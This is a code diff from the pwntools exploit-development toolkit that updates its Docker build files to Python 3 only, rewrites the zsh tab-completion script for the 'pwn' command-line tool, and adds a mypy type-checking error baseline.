-RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \
-    && python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev
+RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@dev
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/develop/Dockerfile

@@ -5,8 +5,7 @@ ENV HISTFILE=/home/pwntools/.history
 
 # Uninstall existing versions of pwntools
 USER root
-RUN python2.7 -m pip uninstall -q -y pwntools \
-    && python3 -m pip uninstall -q -y pwntools
+RUN python3 -m pip uninstall --break-system-packages -q -y pwntools
 
 # Switch back to the pwntools user from here forward
 USER pwntools
@@ -18,17 +17,14 @@ ENV PATH="/home/pwntools/.local/bin:${PATH}"
 
 # Install Pwntools to the home directory, make it an editable install
 RUN git clone https://github.com/Gallopsled/pwntools \
- && python2.7 -m pip install --upgrade --editable pwntools \
- && python3 -m pip install --upgrade --editable pwntools \
+ && python3 -m pip install --break-system-packages --upgrade --editable pwntools \
  && PWNLIB_NOTERM=1 pwn version
 
 # Requirements for running the tests
-RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
-    && python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
+RUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt
 
 # Python niceties for debugging
-RUN python2.7 -m pip install -U ipython ipdb \
-    && python3 -m pip install -U ipython ipdb
+RUN python3 -m pip install --break-system-packages -U ipython ipdb
 
 # Dependencies from .travis.yml addons -> apt -> packages
 ARG DEBIAN_FRONTEND=noninteractive

extra/docker/develop/ipython_config.py

@@ -408,7 +408,7 @@ c.TerminalInteractiveShell.prompts_class = ClassicPrompts
 # Options for configuring the SQLite connection
 #
 # These options are passed as keyword args to sqlite3.connect when establishing
-# database conenctions.
+# database connections.
 # c.HistoryManager.connection_options = {}
 
 # enable the SQLite history

extra/docker/stable/Dockerfile

@@ -1,7 +1,6 @@
 FROM pwntools/pwntools:base
 
 USER root
-RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@stable \
-    && python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable
+RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@stable
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/zsh_completion/_pwn

@@ -5,13 +5,63 @@
 # Pwntools Command-line Interface
 #
 # This file was generated with help from Zargparse (https://github.com/ctil/zargparse)
+# NOTE: Don't use Zargparse any more as it may bring known errors!
 # ----------------------------------------------------------------------------------------
 
+_comp_pid() {
+    if [[ $1 == 'pid' ]] {
+        local line pids lines
+        pids=()
+        # extract command output line by line
+        lines=("${(@f)$(ps --ppid 2 -p 2 -N -o pid=,tty=,user=,comm=)}")
+        for line ($lines) {
+            pids+=${line[(w)1]} # extract first word (pid)
+        }
+        _wanted nonk-pids expl 'non-kernel process ID' \
+            compadd -o nosort -ld lines -a pids
+    } elif [[ $1 == 'procs' ]] {
+        local line names lines
+        names=()
+        # extract command output line by line
+        lines=("${(@f)$(ps --ppid 2 -p 2 -N -o comm=,pid=,tty=,user=)}")
+        for line ($lines) {
+            names+=${line[(w)1]} # extract first word (pid)
+        }
+        _wanted nonk-comm expl 'non-kernel process names' \
+            compadd -o nosort -ld lines -a names
+    }
+}
+
+_comp_funcs() {
+    local names
+    output=$(readelf -Ws $1 2>/dev/null)
+    if [[ $? -ne 0 ]] {
+        return
+    }
+    names=("${(f)$(awk '$4=="FUNC" && $7!="UND" {print $8}' <(echo "$output"))}")
+    if [[ $#names -gt 0 ]] {
+      _values "FUNCTIONS" $names
+    }
+}
+
+_comp_error() {
+    local -a names
+    which errno > /dev/null
+    if [[ $? -ne 0 ]] {
+        return
+    }
+    names=("${(f)$(LC_ALL=C errno -l | awk '{printf "%s:(%d) %s\n", $1, $2, substr($0, length($1 $2)+3)}')}")
+    _describe "ERRORS" names
+}
+
 typeset -A opt_args
 
 _pwn() {
+  setopt localoptions
+  setopt extendedglob
   # Define the subcommands
   local -a commands
+  
   commands=(
     'asm:Assemble shellcode into bytes'
     'checksec:Check binary security settings'
@@ -24,174 +74,268 @@ _pwn() {
     'elfpatch:Patch an ELF file'
     'errno:Prints out error messages'
     'hex:Hex-encodes data provided on the command line or stdin'
+    'libcdb:Print various information about a libc binary'
     'phd:Pretty hex dump'
-    'scramble:Strip binaries for CTF usage'
-    'shellcraft:Shellcode encoder'
-    'template:Microwave shellcode -- Easy, fast and delicious'
-    'unhex:Generate an exploit template'
-    'update:Decodes hex-encoded data provided on the command line or via stdin.'
-    'version:Check for pwntools updates'
+    'pwnstrip:Strip binaries for CTF usage'
+    'scramble:Shellcode encoder'
+    'shellcraft:Microwave shellcode -- Easy, fast and delicious'
+    'template:Generate an exploit template'
+    'unhex:Decodes hex-encoded data provided on the command line or via stdin.'
+    'update:Check for pwntools updates'
+    'version:Pwntools version'
   )
 
   # Global flags (i.e. ones not associated with a subcommand)
   _arguments \
-    "1: :{_describe 'command' commands}" \
-    '(-h --help)'{-h,--help}'[show this help message and exit]' \
+    "1:COMMAND: _describe 'command' commands" \
+    '(-h --help)'{-h,--help}'[show help message and exit]' \
     '*:: :->args'
 
   # Flags for each subcommand
   case $state in
     args)
       case $words[1] in
-        pwnstrip)
-          _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
-            '(-p --patch)'{-p,--patch}'=[Patch function]:' \
-            '(-o --output)'{-o,--output}'=[None]:' \
-            ;;
         asm)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
-            '(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
-            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
-            '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-f --format)'{-f,--format}'[Output format]:FORMAT:(raw hex string elf)' \
+            '(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
+            '(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes (provided as hex)]:HEXBYTES: ' \
             '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
             '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
             '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
-            '(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \
-            '(-i --infile)'{-i,--infile}'=[Specify input file]:' \
+            '(-i --infile)'{-i,--infile}'[Specify input file]:INPUT:_files' \
             '(-r --run)'{-r,--run}'[Run output]' \
+            '*:LINE: '
             ;;
         checksec)
-          _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '--file=[File to check (for compatibility with checksec.sh)]:' \
+            _arguments \
+              '(-h --help)'{-h,--help}'[show help message and exit]' \
+              '--file[File to check]:ELF:_files' \
+              '*:ELF:_files'
             ;;
         constgrep)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
             '(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \
             '(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \
             '(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \
-            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '1:REGEX: ' \
+            '2:CONST: ' \
+            '*: :'
             ;;
         cyclic)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \
-            '(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \
-            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
-            '(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-a --alphabet)'{-a,--alphabet}'[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:ALPHABETS: ' \
+            '(-n --length)'{-n,--length}'[Size of the unique subsequences (defaults to 4)]:LENGTH: ' \
+            '(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'[Do a lookup instead printing the alphabet]:LOOKUP: ' \
+            '1:COUNT: ' \
+            '*: :'
             ;;
         debug)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '-x=[Execute GDB commands from this file.]:' \
-            '--pid=[PID to attach to]:' \
-            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
-            '--exec=[File to debug]:' \
-            '--process=[Name of the process to attach to (e.g. "bash")]:' \
-            '--sysroot=[GDB sysroot path]:' \
-            ;;
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '-x[Execute GDB commands from this file]:GDBSCRIPT:_files' \
+            '--pid[PID to attach to]:PID: _comp_pid pid' \
+            '(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '--exec[File to debug]:EXE:_files' \
+            '--process[Name of the process to attach to (e.g. "bash")]:NAME: _comp_pid procs' \
+            '--sysroot[GDB sysroot path]:PATH:_files -/'
+          ;;
         disasm)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
-            '(-a --address)'{-a,--address}'=[Base address]:' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '(-a --address)'{-a,--address}'[Base address]:ADDR: ' \
             '--color[Color output]' \
             '--no-color[Disable color output]' \
+            '*:HEX: '
             ;;
         disablenx)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '*:ELF:_files'
             ;;
         elfdiff)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '1:ELF_A:_files' \
+            '2:ELF_B:_files' \
+            '*: :'
             ;;
         elfpatch)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '1:ELF:_files' \
+            '2:OFFSET: ' \
+            '3:PATCH: ' \
+            '*: :'
             ;;
         errno)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '1:ERROR:_comp_error' \
+            '*: :'
             ;;
         hex)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-p --prefix)'{-p,--prefix}'[Insert a prefix before each byte]:PREFIX: ' \
+            '(-s --separator)'{-s,--separator}'[Add a separator between each byte]:SEPARATOR: ' \
+            '*:DATA: '
             ;;
+        libcdb)
+          local -a libc_cmds=(
+            'lookup:Lookup a libc version by function offsets'
+            'hash:Display information of a libc version given an unique hash'
+            'file:Dump information about a libc binary'
+            'fetch:Fetch libc database'
+          )
+          _arguments \
+            "1:LIBC_COMMAND: _describe 'libc command' libc_cmds" \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '*:: :->args'
+          if [[ $state != 'args' ]] {
+              return
+          }
+          case $words[1] {
+            (lookup)
+              _arguments \
+                '(-h --help)'{-h,--help}'[show help message and exit]' \
+                '(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
+                '--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
+                '--offline-only[Attempt to searching with offline only mode]' \
+                '*:SYMBOL_OFFSET_PAIRS: _message -r "SYMBOL_OFFSET_PAIRS Hint: read 3e0 write 520"'
+              ;;
+            (hash)
+              _arguments \
+                '(-h --help)'{-h,--help}'[show help message and exit]' \
+                '(-t --hash_type)'{-t,--hash_type}'[The type of the provided hash value]:HASH TYPE:(id buildid md5 sha1 sha256)' \
+                '(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
+                '--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
+                '--offline-only[Attempt to searching with offline only mode]' \
+                '*:HASH VALUE: '
+              ;;
+            (file)
+              _arguments \
+                '(-h --help)'{-h,--help}'[show help message and exit]' \
+                '(-s --symbols)'{-s,--symbols}'[List of symbol offsets to dump in addition to the common ones]:SYMBOLS: ' \
+                '(-o --offset)'{-o,--offset}'[Display all offsets relative to this symbol]:OFFSET: ' \
+                '--unstrip[Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server]' \
+                '*:FILE:_files'
+              ;;
+            (fetch)
+              _arguments \
+                '(-h --help)'{-h,--help}'[show help message and exit]' \
+                '(-u --update)'{-u,--update}'[Fetch the desired libc categories]:UPDATE: ' \
+                '1:PATH:_files' \
+                '*: :'
+              ;;
+          }
+          ;;
         phd)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \
-            '(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \
-            '(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \
-            '(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \
-            '(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \
-            '--color=[Colorize the output.  When "auto" output is colorized exactly when stdout is a TTY.  Default is "auto".]:--color :(always never auto)' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-w --width)'{-w,--width}'[Number of bytes per line]:WIDTH INT: ' \
+            '(-l --highlight)'{-l,--highlight}'[Byte to highlight]:*^<->:HIGHLIGHTS INT: ' \
+            '(-s --skip)'{-s,--skip}'[Skip this many initial bytes]:SKIP INT: ' \
+            '(-c --count)'{-c,--count}'[Only show this many bytes]:COUNT INT: ' \
+            '(-o --offset)'{-o,--offset}'[Addresses in left hand column starts at this address]:OFFSET INT: ' \
+            '--color[Colorize the output.  When "auto" output is colorized exactly when stdout is a TTY; default is auto]:COLOR:(always never auto)' \
+            '1:FILE:_files' \
+            '*: :'
             ;;
+        pwnstrip)
+          _arguments \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
+            '(-p --patch)'{-p,--patch}'[Patch function]:FUNCTION:->funcs' \
+            '(-o --output)'{-o,--output}'[Output file]:OUTPUT:_files' \
+            '1:FILE:_files' \
+            '*: :'
+          if [[ $state == 'funcs' ]] {
+            _message "FUNCTION"
+            if [[ $#line -ne 0 ]] {
+              filename=$~line[1]
+            } elif [[ -f $~words[-1] ]] {
+              filename=$~words[-1]
+            } else {
+                return
+            }
+            _comp_funcs $filename
+          }
+          ;;
         scramble)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
-            '(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
-            '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-f --format)'{-f,--format}'[Output format (defaults to hex for ttys, otherwise raw)]:FORMAT:(raw hex string elf)' \
+            '(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
+            '(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
             '(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \
-            '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
+            '(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
             '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
             '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
             '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
             ;;
         shellcraft)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '(-? --show)'{-?,--show}'[Show shellcode documentation]' \
-            '(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \
-            '(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '(-? --show)'{-\?,--show}'[Show shellcode documentation]' \
+            '(-o --out)'{-o,--out}'[Output file (default: stdout)]:OUTPUT:_files' \
+            '(-f --format)'{-f,--format}'[Output format (default: hex)]:FORMAT:(e r s c h i a p d)' \
             '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
+            '--delim[Set the delimiter between multiple shellcodes]:DELIM: ' \
             '(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \
             '(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \
-            '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
+            '(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
             '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
             '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
             '(-r --run)'{-r,--run}'[Run output]' \
             '--color[Color output]' \
             '--no-color[Disable color output]' \
             '--syscalls[List syscalls]' \
-            '--address=[Load address]:' \
+            '--address[Load address]:ADDRESS: ' \
             '(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \
             '(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \
+            '*:SHELLCODE: '
             ;;
         template)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '--host=[Remote host / SSH server]:' \
-            '--port=[Remote port / SSH port]:' \
-            '--user=[SSH Username]:' \
-            '(--pass --password)'{--pass,--password}'=[SSH Password]:' \
-            '--path=[Remote path of file on SSH server]:' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '--host[Remote host / SSH server]:HOST:_ssh_hosts ' \
+            '--port[Remote port / SSH port]:PORT: ' \
+            '--user[SSH Username]:USER:_ssh_users' \
+            '(--pass --password)'{--pass,--password}'[SSH Password]:PASSWORD: ' \
+            '--libc[Path to libc binary to use. If not given, the current directory is searched for a libc binary]:LIBC_PATH:_files' \
+            '--path[Remote path of file on SSH server]:PATH:_files' \
             '--quiet[Less verbose template comments]' \
-            '--color=[Print the output in color]:--color :(never always auto)' \
+            '--color[Print the output in color]:COLOR:(never always auto)' \
+            '--template[Path to a custom template]:TEMPLATE_PATH:_files' \
+            '--no-auto[Do not automatically detect missing binaries]' \
+            '1:EXE:_files' \
+            '*: :'
             ;;
         unhex)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '*:HEX: '
             ;;
         update)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
-            '--install[Install the update automatically.]' \
-            '--pre[Check for pre-releases.]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
+            '--install[Install the update automatically]' \
+            '--pre[Check for pre-releases]' \
             ;;
         version)
           _arguments \
-            '(-h --help)'{-h,--help}'[show this help message and exit]' \
+            '(-h --help)'{-h,--help}'[show help message and exit]' \
             ;;
       esac
       ;;
   esac
 }
-_pwn
+_pwn

mypy-baseline.txt

@@ -0,0 +1,70 @@
+pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method  [misc]
+pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method  [misc]
+pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p8ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p8bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p8bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p16lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p16ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p16bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p16bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p32lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p32ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p32bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p32bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p64lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p64ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p64bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p64bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Argument 1 to "get" of "dict" has incompatible type "tuple[Literal[8, 16, 32, 64] | Any, int, Any | None]"; expected "tuple[int, int, int]"  [arg-type]
+pwnlib/util/packing.py:0: error: Name "_u8lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u8ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u8bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u8bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u16lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u16ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u16bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u16bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u32lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u32ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u32bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u32bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u64lu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u64ls" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u64bu" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_u64bs" is not defined  [name-defined]
+pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined  [name-defined]
+pwnlib/util/fiddling.py:0: error: Incompatible return value type (got "list[_OneT | int | _ZeroT]", expected "list[_ZeroT | _OneT] | list[int]")  [return-value]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "list" matches argument type "tuple[Any, ...]"  [operator]
+pwnlib/util/fiddling.py:0: note: Possible overload variants:
+pwnlib/util/fiddling.py:0: note: def __add__(self, list[Any], /) -> list[Any]
+pwnlib/util/fiddling.py:0: note: def [_S] __add__(self, list[_S], /) -> list[_S | Any]
+pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "tuple" matches argument type "list[Any]"  [operator]
+pwnlib/util/fiddling.py:0: note: def __add__(self, tuple[Any, ...], /) -> tuple[Any, ...]
